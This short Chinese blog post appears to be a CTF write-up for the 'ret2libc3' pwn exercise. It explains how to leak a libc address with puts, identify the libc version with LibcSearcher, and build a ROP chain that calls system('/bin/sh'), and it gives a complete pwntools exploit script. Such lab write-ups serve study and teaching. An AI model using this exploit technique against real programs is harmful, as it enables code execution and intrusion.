警告
本文最后更新于 2023-01-29,文中内容可能已过时。
思路
通过获取已经运行过的函数的信息,计算得出libc的版本,由于特定版本的偏移量是固定的,可以计算出来system和bin/sh的地址
然后通过构建ROP链执行system(’/bin/sh')
构建
计算puts函数的pltputs_plt = elf.plt['puts']
获取__libc_start_main的got表libc_start_main_got = elf.got['__libc_start_main']
获取main函数的内存地址main_address = elf.symbols['main']
使用recv函数截断数据 u32解包,得到__libc_start_main的地址libc_start_main_address = u32(p.recv()[:4])
使用LibcSearcher算出libc版本
再计算出偏移量 再次通过溢出即可
在main函数处执行需要将溢出点再向前移8个字节的长度
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = process("./ret2libc3")
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_address = elf.symbols['main']
payload = flat(['a'*112,puts_plt,main_address,libc_start_main_got])
p.sendlineafter('!?',payload)
##calculate real address
libc_start_main_address = u32(p.recv()[:4])
libc = LibcSearcher('__libc_start_main',libc_start_main_address)
libcbase = libc_start_main_address-libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump ('system')
bin_sh_addr = libcbase + libc.dump ('str_bin_sh')
payload = flat (['A'* 104 , system_addr ,0 , bin_sh_addr])
p.sendline(payload)
p.interactive()
|